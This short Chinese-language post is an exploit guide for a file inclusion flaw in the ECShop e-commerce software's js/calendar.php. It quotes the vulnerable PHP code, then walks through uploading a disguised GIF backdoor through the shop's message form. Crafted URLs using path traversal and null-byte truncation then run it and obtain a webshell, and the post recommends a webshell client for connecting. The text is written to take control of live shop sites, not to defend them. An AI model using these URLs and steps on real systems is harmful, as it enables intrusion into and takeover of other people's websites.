直接看代码:
js/calendar.php
$lang = (!empty($_GET['lang']))
? trim($_GET['lang']) : ‘zh_cn’;//没有过滤,很明显的包含漏洞
if (!file_exists(‘../languages/’ . $lang . ‘/calendar.php’))
{
$lang = ‘zh_cn’;
}
require(dirname(dirname(__FILE__)) . ‘/data/config.php’);
header(‘Content-type: application/x-javascript; charset=’ . EC_CHARSET);
include_once(‘../languages/’ . $lang . ‘/calendar.php’);//这里包含,需要截断
前段时间一直徘徊在ecshop的网站上面。后面发现这个比较偏门的漏洞可以拿SHELL,简单说下利用方式。
伪造一个gif89a 头的GIF后门文件欺骗,然后注册商城帐号,在我要留言那里留言上传图片,然后利用包含直接拿SHELL!
网上的exp Url都是这样的 :http://www.*****.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.
想拿SHELL你就在点的后面加个php,很简单这样就可以识别为php文件执行脚本了。
如: js/calendar.php?lang=../data/feedbackimg/309_20110405qzitof.gif%00./1.php
直接 js/calendar.php?lang=../data/feedbackimg/309_20110405qzitof.gif%00.php 也可以的!
打开你上传后的gif伪图片经过以上漏洞构造的URL <出现E文则成功> <出现中文则失败>
对了,如果利用中弹出下载,建议你使用菜刀连接。比较方便!
(弹出下载在之前是没有的。可能升级了~ 不过对此漏洞毫无影响。)
如果留言页面找不了的话在根目录加: user.php?act=message_list
打开无此页面的话就不可以利用了。
|